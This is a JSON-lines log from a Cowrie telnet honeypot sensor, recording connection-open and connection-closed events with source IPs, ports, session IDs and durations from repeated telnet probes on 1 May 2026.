{"eventid":"cowrie.session.closed","duration":26.109201908111572,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:21.086445Z","src_ip":"62.182.85.24","session":"7414630accf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725013732910156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:21.131501Z","src_ip":"62.182.85.24","session":"1a3d045a4476","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53058671951294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:21.177619Z","src_ip":"62.182.85.24","session":"92d6f3b2c784","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839998245239258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:22.192615Z","src_ip":"62.182.85.24","session":"819cfd4394f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53844,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee1ce14a70f","protocol":"telnet","message":"New connection: 194.163.135.148:53844 (159.203.135.109:23) [session: dee1ce14a70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:22.936396Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45368,"dst_ip":"10.17.0.5","dst_port":23,"session":"aefc02570b59","protocol":"telnet","message":"New connection: 62.182.85.24:45368 (10.17.0.5:23) [session: aefc02570b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:23.487787Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbcc8c709a2","protocol":"telnet","message":"New connection: 62.182.85.24:45592 (10.17.0.5:23) [session: 6bbcc8c709a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:23.513384Z"}
{"eventid":"cowrie.session.closed","duration":34.3570351600647,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:23.762382Z","src_ip":"62.182.85.24","session":"7a53ef33d0a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48300,"dst_ip":"10.17.0.5","dst_port":23,"session":"c99cd6a6aad5","protocol":"telnet","message":"New connection: 62.182.85.24:48300 (10.17.0.5:23) [session: c99cd6a6aad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:23.858537Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":48502,"dst_ip":"10.17.0.5","dst_port":23,"session":"60805356b0cd","protocol":"telnet","message":"New connection: 62.182.85.24:48502 (10.17.0.5:23) [session: 60805356b0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:23.889880Z"}
{"eventid":"cowrie.session.closed","duration":31.42379379272461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:24.396637Z","src_ip":"62.182.85.24","session":"1c86f93709ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.365647077560425,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:24.495757Z","src_ip":"62.182.85.24","session":"157497a045fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06207299232483,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:24.524475Z","src_ip":"194.163.135.148","session":"298a419aba28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26481318473816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:25.237241Z","src_ip":"62.182.85.24","session":"08eb790911f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":34238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14a149badee","protocol":"telnet","message":"New connection: 62.182.85.24:34238 (10.17.0.5:23) [session: b14a149badee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:25.708215Z"}
{"eventid":"cowrie.session.closed","duration":31.203101873397827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:26.047714Z","src_ip":"62.182.85.24","session":"16ea33ac25f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.428658723831177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:26.513467Z","src_ip":"62.182.85.24","session":"4b50167abf3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5146267414093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:26.587798Z","src_ip":"62.182.85.24","session":"2f1f26c953a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55254,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3af6a7e371f","protocol":"telnet","message":"New connection: 62.182.85.24:55254 (10.17.0.5:23) [session: a3af6a7e371f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:26.779831Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":42128,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc9712b4afc1","protocol":"telnet","message":"New connection: 62.182.85.24:42128 (10.17.0.5:23) [session: dc9712b4afc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:27.720950Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53890,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c5113bf19b3","protocol":"telnet","message":"New connection: 194.163.135.148:53890 (159.203.135.109:23) [session: 4c5113bf19b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:27.825247Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57662,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb418507e2fc","protocol":"telnet","message":"New connection: 62.182.85.24:57662 (10.17.0.5:23) [session: fb418507e2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:28.714022Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53906,"dst_ip":"159.203.135.109","dst_port":23,"session":"740fdc264204","protocol":"telnet","message":"New connection: 194.163.135.148:53906 (159.203.135.109:23) [session: 740fdc264204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:29.145399Z"}
{"eventid":"cowrie.session.closed","duration":30.38839602470398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:29.176930Z","src_ip":"62.182.85.24","session":"8de8dbc1a33f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53912,"dst_ip":"159.203.135.109","dst_port":23,"session":"4005c4d7f365","protocol":"telnet","message":"New connection: 194.163.135.148:53912 (159.203.135.109:23) [session: 4005c4d7f365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:29.757218Z"}
{"eventid":"cowrie.session.closed","duration":33.70972013473511,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:30.725876Z","src_ip":"194.163.135.148","session":"51fd160b0f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498838901519775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:31.223545Z","src_ip":"62.182.85.24","session":"85ce946465fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ddf346c2cf","protocol":"telnet","message":"New connection: 194.163.135.148:53920 (159.203.135.109:23) [session: 16ddf346c2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:31.414220Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a38a1fca78","protocol":"telnet","message":"New connection: 62.182.85.24:54950 (10.17.0.5:23) [session: 22a38a1fca78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:32.047228Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":55852,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc21dcaf35f","protocol":"telnet","message":"New connection: 62.182.85.24:55852 (10.17.0.5:23) [session: cfc21dcaf35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:32.151933Z"}
{"eventid":"cowrie.session.closed","duration":30.953989267349243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:32.227191Z","src_ip":"62.182.85.24","session":"d979b700c3a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00166702270508,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:32.264461Z","src_ip":"62.182.85.24","session":"df1df52a0869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.733946561813354,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:33.259321Z","src_ip":"62.182.85.24","session":"f7f397b09c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79394555091858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:33.264274Z","src_ip":"62.182.85.24","session":"1320969d24f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.174257040023804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:33.430861Z","src_ip":"194.163.135.148","session":"4a7f959c1301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039549589157104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:33.785393Z","src_ip":"62.182.85.24","session":"62988e513704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529170513153076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:34.425133Z","src_ip":"62.182.85.24","session":"a1d9b5f02199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2413170337677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:34.693542Z","src_ip":"62.182.85.24","session":"3a193839a985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":60094,"dst_ip":"10.17.0.5","dst_port":23,"session":"57dbaa09b44e","protocol":"telnet","message":"New connection: 62.182.85.24:60094 (10.17.0.5:23) [session: 57dbaa09b44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:34.752501Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":39962,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fbf237078c7","protocol":"telnet","message":"New connection: 62.182.85.24:39962 (10.17.0.5:23) [session: 0fbf237078c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:34.765043Z"}
{"eventid":"cowrie.session.closed","duration":30.886682987213135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:35.198125Z","src_ip":"62.182.85.24","session":"766620bd7cd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920376777648926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:35.821829Z","src_ip":"62.182.85.24","session":"fc47f3c5751e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bfe13abba8","protocol":"telnet","message":"New connection: 62.182.85.24:57954 (10.17.0.5:23) [session: 08bfe13abba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:36.063092Z"}
{"eventid":"cowrie.session.closed","duration":30.945165157318115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:37.856908Z","src_ip":"62.182.85.24","session":"05f6dcad3072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":54218,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdbf8b8d6514","protocol":"telnet","message":"New connection: 62.182.85.24:54218 (10.17.0.5:23) [session: cdbf8b8d6514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:39.100545Z"}
{"eventid":"cowrie.session.closed","duration":41.728190660476685,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:39.755912Z","src_ip":"103.115.172.252","session":"b38ef0e28ca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96987771987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:40.073774Z","src_ip":"62.182.85.24","session":"25978d4e709f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673327684402466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:40.301248Z","src_ip":"62.182.85.24","session":"010f3c57917b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":36428,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a685102faea","protocol":"telnet","message":"New connection: 62.182.85.24:36428 (10.17.0.5:23) [session: 5a685102faea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:40.425049Z"}
{"eventid":"cowrie.session.closed","duration":30.787100076675415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:41.124976Z","src_ip":"62.182.85.24","session":"900a3a26ea4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.815797090530396,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:42.118068Z","src_ip":"194.163.135.148","session":"9b5c4c44c4cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f95b3aea82","protocol":"telnet","message":"New connection: 62.182.85.24:50750 (10.17.0.5:23) [session: c0f95b3aea82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:42.248777Z"}
{"eventid":"cowrie.session.closed","duration":37.77552556991577,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:43.053413Z","src_ip":"194.163.135.148","session":"785686f0482d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874478340148926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:43.340355Z","src_ip":"62.182.85.24","session":"fac96dbf7ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.499733448028564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:43.463462Z","src_ip":"62.182.85.24","session":"d9cf95bbf87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"35a947e977f0","protocol":"telnet","message":"New connection: 62.182.85.24:40190 (10.17.0.5:23) [session: 35a947e977f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:44.478601Z"}
{"eventid":"cowrie.session.closed","duration":35.659061431884766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:44.489741Z","src_ip":"103.115.172.252","session":"be2159c2bef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54034,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1b45e8f2838","protocol":"telnet","message":"New connection: 194.163.135.148:54034 (159.203.135.109:23) [session: f1b45e8f2838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:44.610850Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54032,"dst_ip":"159.203.135.109","dst_port":23,"session":"617ee5b698b9","protocol":"telnet","message":"New connection: 194.163.135.148:54032 (159.203.135.109:23) [session: 617ee5b698b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:44.627757Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":42040,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5b812a40c8","protocol":"telnet","message":"New connection: 62.182.85.24:42040 (10.17.0.5:23) [session: ae5b812a40c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:44.667474Z"}
{"eventid":"cowrie.session.closed","duration":31.04830265045166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:45.524065Z","src_ip":"62.182.85.24","session":"2f48698c5b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.74120497703552,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:45.551608Z","src_ip":"62.182.85.24","session":"9fc9320e27e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":50064,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d3b6ac6723","protocol":"telnet","message":"New connection: 62.182.85.24:50064 (10.17.0.5:23) [session: 28d3b6ac6723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:45.654302Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54042,"dst_ip":"159.203.135.109","dst_port":23,"session":"b47e0f27288d","protocol":"telnet","message":"New connection: 194.163.135.148:54042 (159.203.135.109:23) [session: b47e0f27288d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:46.261603Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":57586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2124fc7f3ba","protocol":"telnet","message":"New connection: 62.182.85.24:57586 (10.17.0.5:23) [session: c2124fc7f3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:46.553748Z"}
{"eventid":"cowrie.session.closed","duration":31.578145027160645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:46.595382Z","src_ip":"62.182.85.24","session":"08509070782e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526744604110718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:47.244727Z","src_ip":"62.182.85.24","session":"eb40e81c1cbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54052,"dst_ip":"159.203.135.109","dst_port":23,"session":"83b1914f2633","protocol":"telnet","message":"New connection: 194.163.135.148:54052 (159.203.135.109:23) [session: 83b1914f2633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:47.251263Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":37728,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc508203fb1","protocol":"telnet","message":"New connection: 62.182.85.24:37728 (10.17.0.5:23) [session: ebc508203fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:47.580341Z"}
{"eventid":"cowrie.session.closed","duration":30.838722944259644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:48.530503Z","src_ip":"62.182.85.24","session":"493681344039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54074,"dst_ip":"159.203.135.109","dst_port":23,"session":"8828a5db3df7","protocol":"telnet","message":"New connection: 194.163.135.148:54074 (159.203.135.109:23) [session: 8828a5db3df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:49.704337Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":33834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7cc2b01d13","protocol":"telnet","message":"New connection: 62.182.85.24:33834 (10.17.0.5:23) [session: 8c7cc2b01d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:50.644055Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c946b1ab6aee","protocol":"telnet","message":"New connection: 62.182.85.24:35796 (10.17.0.5:23) [session: c946b1ab6aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:50.897498Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":56544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9ca3b4d357","protocol":"telnet","message":"New connection: 103.82.231.165:56544 (10.17.0.5:23) [session: 9c9ca3b4d357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:50.939768Z"}
{"eventid":"cowrie.session.closed","duration":0.005441188812255859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:50.945069Z","src_ip":"103.82.231.165","session":"9c9ca3b4d357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.885208129882812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:51.000542Z","src_ip":"62.182.85.24","session":"e0d285a0b2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80154895782471,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:52.055815Z","src_ip":"194.163.135.148","session":"5df80077e71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.90250325202942,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:52.741457Z","src_ip":"194.163.135.148","session":"7593ab48fe5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.23026943206787,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:52.784517Z","src_ip":"62.182.85.24","session":"3fea215e4854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17477989196777,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:53.103894Z","src_ip":"194.163.135.148","session":"af604f0f3b0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21982932090759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:53.116933Z","src_ip":"103.82.231.165","session":"30d7744a4077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":54106,"dst_ip":"159.203.135.109","dst_port":23,"session":"50868bdec885","protocol":"telnet","message":"New connection: 194.163.135.148:54106 (159.203.135.109:23) [session: 50868bdec885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:53.762685Z"}
{"eventid":"cowrie.session.closed","duration":37.04701328277588,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:01:54.184969Z","src_ip":"194.163.135.148","session":"56da4dd9b557","protocol":"telnet"}
